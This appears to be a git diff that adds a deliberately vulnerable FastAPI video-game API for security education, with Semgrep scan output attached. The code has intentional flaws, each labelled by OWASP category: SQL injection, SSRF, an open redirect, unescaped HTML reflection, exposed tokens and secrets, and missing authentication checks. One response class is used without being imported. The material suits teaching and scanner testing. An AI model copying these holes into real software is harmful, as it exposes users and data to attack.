+    VideoGame(id=76, title="Tetris Effect", developer="Monstars Inc./Resonair", publisher="Enhance Games", year_published=2018, sales=1_000_000),
+    VideoGame(id=77, title="Deathloop", developer="Arkane Studios", publisher="Bethesda Softworks", year_published=2021, sales=1_000_000),
+    VideoGame(id=78, title="Forza Horizon 4", developer="Playground Games", publisher="Xbox Game Studios", year_published=2018, sales=10_000_000),
+    VideoGame(id=79, title="Gran Turismo Sport", developer="Polyphony Digital", publisher="Sony Interactive Entertainment", year_published=2017, sales=8_000_000),
+    VideoGame(id=80, title="Need for Speed Heat", developer="Ghost Games", publisher="Electronic Arts", year_published=2019, sales=3_000_000),
+    VideoGame(id=81, title="Control", developer="Remedy Entertainment", publisher="505 Games", year_published=2019, sales=2_000_000),
+    VideoGame(id=82, title="It Takes Two", developer="Hazelight Studios", publisher="Electronic Arts", year_published=2021, sales=3_000_000),
+    VideoGame(id=83, title="Ratchet & Clank: Rift Apart", developer="Insomniac Games", publisher="Sony Interactive Entertainment", year_published=2021, sales=1_100_000),
+    VideoGame(id=84, title="Kena: Bridge of Spirits", developer="Ember Lab", publisher="Ember Lab", year_published=2021, sales=1_000_000),
+    VideoGame(id=85, title="Psychonauts 2", developer="Double Fine", publisher="Xbox Game Studios", year_published=2021, sales=1_000_000),
+    VideoGame(id=86, title="Returnal", developer="Housemarque", publisher="Sony Interactive Entertainment", year_published=2021, sales=560_000),
+    VideoGame(id=87, title="Mario Party Superstars", developer="NDcube", publisher="Nintendo", year_published=2021, sales=5_430_000),
+    VideoGame(id=88, title="Metroid Dread", developer="MercurySteam/Nintendo EPD", publisher="Nintendo", year_published=2021, sales=2_900_000),
+    VideoGame(id=89, title="Back 4 Blood", developer="Turtle Rock Studios", publisher="Warner Bros. Interactive Entertainment", year_published=2021, sales=1_000_000),
+    VideoGame(id=90, title="Ghostrunner", developer="One More Level", publisher="505 Games", year_published=2020, sales=600_000),
+    VideoGame(id=91, title="Sifu", developer="Sloclap", publisher="Sloclap", year_published=2022, sales=500_000),
+    VideoGame(id=92, title="Elden Ring", developer="FromSoftware", publisher="Bandai Namco Entertainment", year_published=2022, sales=13_400_000),
+    VideoGame(id=93, title="Tiny Tina's Wonderlands", developer="Gearbox Software", publisher="2K Games", year_published=2022, sales=1_000_000),
+    VideoGame(id=94, title="Horizon Forbidden West", developer="Guerrilla Games", publisher="Sony Interactive Entertainment", year_published=2022, sales=8_400_000),
+    VideoGame(id=95, title="Gran Turismo 7", developer="Polyphony Digital", publisher="Sony Interactive Entertainment", year_published=2022, sales=1_000_000),
+    VideoGame(id=96, title="Kirby and the Forgotten Land", developer="HAL Laboratory", publisher="Nintendo", year_published=2022, sales=4_530_000),
+    VideoGame(id=97, title="LEGO Star Wars: The Skywalker Saga", developer="Traveller's Tales", publisher="Warner Bros. Interactive Entertainment", year_published=2022, sales=3_200_000),
+    VideoGame(id=98, title="Stray", developer="BlueTwelve Studio", publisher="Annapurna Interactive", year_published=2022, sales=1_000_000),
+    VideoGame(id=99, title="God of War Ragnarök", developer="Santa Monica Studio", publisher="Sony Interactive Entertainment", year_published=2022, sales=11_000_000),
+    VideoGame(id=100, title="Call of Duty: Vanguard", developer="Sledgehammer Games", publisher="Activision", year_published=2021, sales=5_700_000),
+    VideoGame(id=101, title="Halo Infinite", developer="343 Industries", publisher="Xbox Game Studios", year_published=2021, sales=1_000_000),
+    VideoGame(id=102, title="Resident Evil 4 Remake", developer="Capcom", publisher="Capcom", year_published=2023, sales=4_000_000),
+    VideoGame(id=103, title="Dead Space Remake", developer="Motive Studio", publisher="Electronic Arts", year_published=2023, sales=1_000_000),
+    VideoGame(id=104, title="Forspoken", developer="Luminous Productions", publisher="Square Enix", year_published=2023, sales=1_000_000),
+    VideoGame(id=105, title="Hogwarts Legacy", developer="Avalanche Software", publisher="Warner Bros. Interactive Entertainment", year_published=2023, sales=12_000_000),
+    VideoGame(id=106, title="The Legend of Zelda: Tears of the Kingdom", developer="Nintendo EPD", publisher="Nintendo", year_published=2023, sales=10_000_000),
+    VideoGame(id=107, title="Starfield", developer="Bethesda Game Studios", publisher="Bethesda Softworks", year_published=2023, sales=1_000_000),
+    VideoGame(id=108, title="Diablo IV", developer="Blizzard Entertainment", publisher="Blizzard Entertainment", year_published=2023, sales=10_000_000),
+    VideoGame(id=109, title="Final Fantasy XVI", developer="Square Enix Creative Business Unit III", publisher="Square Enix", year_published=2023, sales=3_000_000),
+    VideoGame(id=110, title="Baldur's Gate III", developer="Larian Studios", publisher="Larian Studios", year_published=2023, sales=5_200_000),
+    VideoGame(id=111, title="Armored Core VI: Fires of Rubicon", developer="FromSoftware", publisher="Bandai Namco Entertainment", year_published=2023, sales=1_000_000),
+    VideoGame(id=112, title="Marvel's Spider-Man 2", developer="Insomniac Games", publisher="Sony Interactive Entertainment", year_published=2023, sales=1_000_000),
+    VideoGame(id=113, title="Assassin's Creed Mirage", developer="Ubisoft Bordeaux", publisher="Ubisoft", year_published=2023, sales=1_000_000),
+    VideoGame(id=114, title="Forza Motorsport", developer="Turn 10 Studios", publisher="Xbox Game Studios", year_published=2023, sales=1_000_000),
+    VideoGame(id=115, title="Alan Wake II", developer="Remedy Entertainment", publisher="Epic Games Publishing", year_published=2023, sales=1_000_000),
+    VideoGame(id=116, title="Sonic Frontiers", developer="Sonic Team", publisher="Sega", year_published=2022, sales=3_200_000),
+    VideoGame(id=117, title="The Callisto Protocol", developer="Striking Distance Studios", publisher="Krafton", year_published=2022, sales=2_000_000),
+    VideoGame(id=118, title="Mario + Rabbids Sparks of Hope", developer="Ubisoft Milan/Ubisoft Paris", publisher="Ubisoft", year_published=2022, sales=1_000_000),
+    VideoGame(id=119, title="Splatoon 3", developer="Nintendo EPD", publisher="Nintendo", year_published=2022, sales=10_130_000),
+    VideoGame(id=120, title="Bayonetta 3", developer="PlatinumGames", publisher="Nintendo", year_published=2022, sales=1_000_000),
+    VideoGame(id=121, title="Dying Light 2 Stay Human", developer="Techland", publisher="Techland", year_published=2022, sales=5_000_000),
+    VideoGame(id=122, title="Saints Row", developer="Volition", publisher="Deep Silver", year_published=2022, sales=1_000_000),
+    VideoGame(id=123, title="Pokemon Legends: Arceus", developer="Game Freak", publisher="Nintendo", year_published=2022, sales=14_630_000),
+    VideoGame(id=124, title="Pokemon Scarlet and Violet", developer="Game Freak", publisher="Nintendo", year_published=2022, sales=20_610_000),
+    VideoGame(id=125, title="Triangle Strategy", developer="Artdink", publisher="Square Enix", year_published=2022, sales=1_000_000),
+    VideoGame(id=126, title="Xenoblade Chronicles 3", developer="Monolith Soft", publisher="Nintendo", year_published=2022, sales=1_810_000),
+    VideoGame(id=127, title="Mario Strikers: Battle League", developer="Next Level Games", publisher="Nintendo", year_published=2022, sales=2_170_000),
+    VideoGame(id=128, title="Fire Emblem Engage", developer="Intelligent Systems", publisher="Nintendo", year_published=2023, sales=1_610_000),
+    VideoGame(id=129, title="Octopath Traveler II", developer="Square Enix/Acquire", publisher="Square Enix", year_published=2023, sales=1_000_000),
+    VideoGame(id=130, title="Dead Island 2", developer="Dambuster Studios", publisher="Deep Silver", year_published=2023, sales=2_000_000),
+    VideoGame(id=131, title="Minecraft Dungeons", developer="Mojang Studios/Double Eleven", publisher="Xbox Game Studios", year_published=2020, sales=11_500_000),
+    VideoGame(id=132, title="Remnant II", developer="Gunfire Games", publisher="Gearbox Publishing", year_published=2023, sales=1_000_000),
+    VideoGame(id=133, title="Street Fighter 6", developer="Capcom", publisher="Capcom", year_published=2023, sales=2_000_000),
+    VideoGame(id=134, title="Pikmin 4", developer="Nintendo EPD", publisher="Nintendo", year_published=2023, sales=1_000_000),
+    VideoGame(id=135, title="Armored Core VI", developer="FromSoftware", publisher="Bandai Namco Entertainment", year_published=2023, sales=1_000_000),
+    VideoGame(id=136, title="Mortal Kombat 1", developer="NetherRealm Studios", publisher="Warner Bros. Interactive Entertainment", year_published=2023, sales=1_000_000),
+    VideoGame(id=137, title="S.T.A.L.K.E.R. 2: Heart of Chornobyl", developer="GSC Game World", publisher="GSC Game World", year_published=2023, sales=1_000_000),
+    VideoGame(id=138, title="Payday 3", developer="Overkill Software", publisher="Starbreeze Studios", year_published=2023, sales=1_000_000),
+    VideoGame(id=139, title="Suicide Squad: Kill the Justice League", developer="Rocksteady Studios", publisher="Warner Bros. Interactive Entertainment", year_published=2023, sales=1_000_000),
+    VideoGame(id=140, title="Atomic Heart", developer="Mundfish", publisher="Focus Entertainment", year_published=2023, sales=1_000_000),
+    VideoGame(id=141, title="The Lord of the Rings: Gollum", developer="Daedalic Entertainment", publisher="Daedalic Entertainment", year_published=2023, sales=1_000_000),
+    VideoGame(id=142, title="Diablo II: Resurrected", developer="Vicarious Visions", publisher="Blizzard Entertainment", year_published=2021, sales=5_000_000),
+    VideoGame(id=143, title="Death's Door", developer="Acid Nerve", publisher="Devolver Digital", year_published=2021, sales=1_000_000),
+    VideoGame(id=144, title="Disco Elysium", developer="ZA/UM", publisher="ZA/UM", year_published=2019, sales=2_000_000),
+    VideoGame(id=145, title="Outer Wilds", developer="Mobius Digital", publisher="Annapurna Interactive", year_published=2019, sales=1_000_000),
+    VideoGame(id=146, title="Hellblade: Senua's Sacrifice", developer="Ninja Theory", publisher="Ninja Theory", year_published=2017, sales=1_000_000),
+    VideoGame(id=147, title="Sea of Thieves", developer="Rare", publisher="Xbox Game Studios", year_published=2018, sales=5_000_000),
+    VideoGame(id=148, title="Ghostwire: Tokyo", developer="Tango Gameworks", publisher="Bethesda Softworks", year_published=2022, sales=1_000_000),
+    VideoGame(id=149, title="Evil West", developer="Flying Wild Hog", publisher="Focus Entertainment", year_published=2022, sales=1_000_000),
+    VideoGame(id=150, title="Return to Monkey Island", developer="Terrible Toybox", publisher="Devolver Digital", year_published=2022, sales=1_000_000),
+]
+
+users = [
+    User(username="user1", token="user1token", is_admin=False, email="user1@example.com"),
+    User(username="admin", token="admintoken", is_admin=True, email="admin@example.com"),
+]
+
diff --git a/insecure-api/main.py b/insecure-api/main.py
new file mode 100644
index 0000000..9b73df5
--- /dev/null
+++ b/insecure-api/main.py
@@ -0,0 +1,216 @@
+from fastapi import FastAPI, HTTPException, Header, Request
+from typing import Optional
+from models import VideoGame, User
+from database import video_games, users
+import sqlite3
+import os
+import requests
+from fastapi.responses import RedirectResponse
+from contextlib import asynccontextmanager
+
+@asynccontextmanager
+async def lifespan(app: FastAPI):
+    # Initialize the SQLite database
+    if not os.path.exists('videogames.db'):
+        conn = sqlite3.connect('videogames.db')
+        cursor = conn.cursor()
+        # Create table
+        cursor.execute('''
+            CREATE TABLE video_games (
+                id INTEGER PRIMARY KEY,
+                title TEXT NOT NULL,
+                developer TEXT NOT NULL,
+                publisher TEXT NOT NULL,
+                year_published INTEGER NOT NULL,
+                sales INTEGER NOT NULL
+            )
+        ''')
+        # Insert data
+        for game in video_games:
+            cursor.execute('''
+                INSERT INTO video_games (id, title, developer, publisher, year_published, sales)
+                VALUES (?, ?, ?, ?, ?, ?)
+            ''', (game.id, game.title, game.developer, game.publisher, game.year_published, game.sales))
+        conn.commit()
+        conn.close()
+    yield
+
+app = FastAPI(
+    title="Intentionally Insecure Video Game API",
+    description="An API designed for security education, demonstrating common vulnerabilities.",
+    version="1.0.0",
+    contact={
+        "name": "Your Name",
+        "email": "your.email@example.com",
+    },
+    root_path="/api",
+    docs_url="/",
+    redoc_url="/redoc",
+    lifespan=lifespan
+)
+
+# Public endpoint to get basic video game info
+@app.get("/games")
+def get_games():
+    return video_games
+
+# Vulnerable endpoint: No authentication required to get sensitive sales data
+@app.get("/games/{game_id}/sales")
+def get_game_sales(game_id: int):
+    # Vulnerability: No authentication or authorization checks (API1:2019 - Broken Object Level Authorization)
+    for game in video_games:
+        if game.id == game_id:
+            return {"title": game.title, "sales": game.sales}
+    raise HTTPException(status_code=404, detail="Game not found")
+
+# Vulnerable endpoint: Weak authentication and improper authorization
+@app.post("/games")
+def add_game(game: VideoGame, Authorization: Optional[str] = Header(None)):
+    # Vulnerability: Token sent in Authorization header without proper validation (API2:2019 - Broken Authentication)
+    if not Authorization:
+        raise HTTPException(status_code=401, detail="Authorization header required")
+
+    # Extract Bearer token
+    if not Authorization.startswith("Bearer "):
+        raise HTTPException(status_code=401, detail="Invalid Authorization header format")
+    token = Authorization.split(" ")[1]
+
+    # Vulnerability: Insecure token handling and authorization (API5:2019 - Broken Function Level Authorization)
+    for user in users:
+        if user.token == token:
+            if user.is_admin:
+                video_games.append(game)
+                return {"message": "Game added"}
+            else:
+                raise HTTPException(status_code=403, detail="Not authorized")
+    raise HTTPException(status_code=401, detail="Invalid token")
+
+# Vulnerable endpoint: Exposes sensitive user data
+@app.get("/users")
+def get_users():
+    # Vulnerability: Exposes tokens and admin status (API3:2019 - Excessive Data Exposure)
+    return users
+
+# Additional vulnerable endpoint: No rate limiting implemented
+@app.post("/login")
+def login(username: str):
+    # Vulnerability: No rate limiting allows brute-force attacks (API4:2019 - Lack of Resources & Rate Limiting)
+    for user in users:
+        if user.username == username:
+            return {"token": user.token}
+    raise HTTPException(status_code=404, detail="User not found")
+
+# Additional vulnerable endpoint: Mass assignment
+@app.put("/games/{game_id}")
+def update_game(game_id: int, updated_game: VideoGame):
+    # Vulnerability: Mass assignment allows overwriting of unintended fields (API6:2019 - Mass Assignment)
+    for i, game in enumerate(video_games):
+        if game.id == game_id:
+            video_games[i] = updated_game
+            return {"message": "Game updated"}
+    raise HTTPException(status_code=404, detail="Game not found")
+
+# Additional vulnerable endpoint: SQL Injection
+@app.get("/search")
+def search_games(query: str):
+    # Vulnerability: User input is not sanitized (API8:2019 - Injection)
+    conn = sqlite3.connect('videogames.db')
+    cursor = conn.cursor()
+    try:
+        sql_query = f"SELECT * FROM video_games WHERE title = '{query}'"
+        cursor.execute(sql_query)
+        rows = cursor.fetchall()
+    except Exception as e:
+        # Return the exception message for educational purposes (not recommended in production)
+        return {"error": str(e)}
+    finally:
+        conn.close()
+    # Convert rows to list of dictionaries
+    results = []
+    for row in rows:
+        results.append({
+            "id": row[0],
+            "title": row[1],
+            "developer": row[2],
+            "publisher": row[3],
+            "year_published": row[4],
+            "sales": row[5],
+        })
+    return results
+
+# Additional vulnerable endpoint: Improper assets management
+@app.get("/env")
+def get_env():
+    # Vulnerability: Sensitive files are exposed (API9:2019 - Improper Assets Management)
+    return {"SECRET_KEY": "supersecretkey"}
+
+# Additional vulnerable endpoint: Insufficient logging and monitoring
+@app.post("/admin/delete_game")
+def delete_game(game_id: int, Authorization: Optional[str] = Header(None)):
+    # Vulnerability: Actions are not logged (API10:2019 - Insufficient Logging & Monitoring)
+    if not Authorization:
+        raise HTTPException(status_code=401, detail="Authorization header required")
+
+    # Extract Bearer token
+    if not Authorization.startswith("Bearer "):
+        raise HTTPException(status_code=401, detail="Invalid Authorization header format")
+    token = Authorization.split(" ")[1]
+
+    for user in users:
+        if user.token == token and user.is_admin:
+            for i, game in enumerate(video_games):
+                if game.id == game_id:
+                    deleted_game = video_games.pop(i)
+                    # No logging of the deletion action
+                    return {"message": f"Game '{deleted_game.title}' deleted"}
+            raise HTTPException(status_code=404, detail="Game not found")
+    raise HTTPException(status_code=403, detail="Not authorized")
+
+@app.post("/feedback")
+def submit_feedback(feedback: str):
+    # Vulnerability: User input is not sanitized before rendering (API7:2019 - Security Misconfiguration)
+    response = HTMLResponse(content=f"<html><body><h1>Feedback Received</h1><p>{feedback}</p></body></html>")
+    return response
+
+# Additional vulnerable endpoint: Insecure Direct Object References (IDOR)
+@app.get("/user_profile")
+def get_user_profile(user_id: int):
+    # Vulnerability: No authorization checks (API1:2019 - Broken Object Level Authorization)
+    for user in users:
+        if user.username == f"user{user_id}":
+            return user
+    raise HTTPException(status_code=404, detail="User not found")
+
+# Additional vulnerable endpoint: Cross-Site Request Forgery (CSRF)
+@app.post("/update_profile")
+def update_profile(username: str, email: str, Authorization: Optional[str] = Header(None)):
+    # Vulnerability: No CSRF protection (API5:2019 - Broken Function Level Authorization)
+    if not Authorization:
+        raise HTTPException(status_code=401, detail="Authorization header required")
+    # Extract Bearer token
+    if not Authorization.startswith("Bearer "):
+        raise HTTPException(status_code=401, detail="Invalid Authorization header format")
+    token = Authorization.split(" ")[1]
+    # Simulate updating user profile
+    for user in users:
+        if user.token == token:
+            user.username = username
+            user.email = email  # Assuming 'email' field exists in User model
+            return {"message": "Profile updated"}
+    raise HTTPException(status_code=401, detail="Invalid token")
+
+# Additional vulnerable endpoint: Server-Side Request Forgery (SSRF)
+@app.get("/fetch_url")
+def fetch_url_content(url: str):
+    # Vulnerability: No validation of the URL (API10:2019 - Unsafe Consumption of APIs)
+    try:
+        response = requests.get(url)
+        return {"content": response.text}
+    except Exception as e:
+        return {"error": str(e)}
+
+# Additional vulnerable endpoint: Unvalidated Redirects and Forwards
+@app.get("/redirect")
+def unsafe_redirect(next: str):
+    # Vulnerability: Unvalidated redirect (API10:2019 - Unsafe Consumption of APIs)
+    return RedirectResponse(url=next)
diff --git a/insecure-api/models.py b/insecure-api/models.py
new file mode 100644
index 0000000..20c4697
--- /dev/null
+++ b/insecure-api/models.py
@@ -0,0 +1,15 @@
+from pydantic import BaseModel
+
+class VideoGame(BaseModel):
+    id: int
+    title: str
+    developer: str
+    publisher: str
+    year_published: int
+    sales: int
+
+class User(BaseModel):
+    username: str
+    token: str
+    is_admin: bool
+    email: str
diff --git a/insecure-api/requirements.txt b/insecure-api/requirements.txt
new file mode 100644
index 0000000..35dd5ec
--- /dev/null
+++ b/insecure-api/requirements.txt
@@ -0,0 +1,3 @@
+fastapi==0.115.5
+requests==2.32.3
+uvicorn==0.32.1
\ No newline at end of file
diff --git a/insecure-api/semgrep.sarif b/insecure-api/semgrep.sarif
new file mode 100644
index 0000000..82cfd00
--- /dev/null
+++ b/insecure-api/semgrep.sarif
@@ -0,0 +1 @@
+{"version":"2.1.0","runs":[{"invocations":[{"executionSuccessful":true,"toolExecutionNotifications":[]}],"results":[{"fingerprints":{"matchBasedId/v1":"6b058c8946e1bfc70e6ccfcca192217f17fcc70cef2c5a3a38563a96b90b45b051fbbf4f63fcee5175abb244ef61cf4eef69998f348a67b7c357841778aeb21b_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"Dockerfile","uriBaseId":"%SRCROOT%"},"region":{"endColumn":67,"endLine":21,"snippet":{"text":"CMD [\"uvicorn\", \"main:app\", \"--host\", \"0.0.0.0\", \"--port\", \"8000\"]"},"startColumn":1,"startLine":21}}}],"message":{"text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"properties":{},"ruleId":"dockerfile.security.missing-user.missing-user"},{"fingerprints":{"matchBasedId/v1":"76ae1efdbaacc83ecec45511f655e0b9bff825e3f88ed2211b312fe3f08c05110c9de014a50b45b7d5f92d448e7b86ee9371ac3824c51c19f7e2dda74fb02510_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"main.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":34,"endLine":119,"snippet":{"text":"        cursor.execute(sql_query)"},"startColumn":9,"startLine":119}}}],"message":{"text":"Detected possible formatted SQL query. Use parameterized queries instead."},"properties":{},"ruleId":"python.lang.security.audit.formatted-sql-query.formatted-sql-query"},{"fingerprints":{"matchBasedId/v1":"b82d2315515f3d751acd644a12d807f36e0ff9b6005c651a2fecfd003886c9e5d942c523df87b240a06011bf557bf7a951c3a9a49f9fd946b2c4bfc1c63a8b97_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"main.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":34,"endLine":119,"snippet":{"text":"        cursor.execute(sql_query)"},"startColumn":9,"startLine":119}}}],"message":{"text":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option."},"properties":{},"ruleId":"python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query"},{"fingerprints":{"matchBasedId/v1":"eb489f29c0f9f23fc57bf95d5ccc8c6943d1aadce9676bbffeeda70bced0d709afdf85aacd16defd99e631c1d754c8bc63017336907fc7732354fdf4e81e7446_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"main.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":37,"endLine":205,"snippet":{"text":"        response = requests.get(url)"},"startColumn":20,"startLine":205}}}],"message":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"properties":{},"ruleId":"python.flask.security.injection.ssrf-requests.ssrf-requests"}],"tool":{"driver":{"name":"Semgrep OSS","rules":[{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","id":"swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","name":"swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name)."},"help":{"markdown":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.web-request.ssrf)\n - [https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.web-request.ssrf","id":"csharp.lang.security.ssrf.web-request.ssrf","name":"csharp.lang.security.ssrf.web-request.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.web-request.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","id":"swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","name":"swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false."},"help":{"markdown":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n","text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","id":"java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","name":"java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/www-community/HttpOnly](https://owasp.org/www-community/HttpOnly)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","id":"java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","name":"java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. 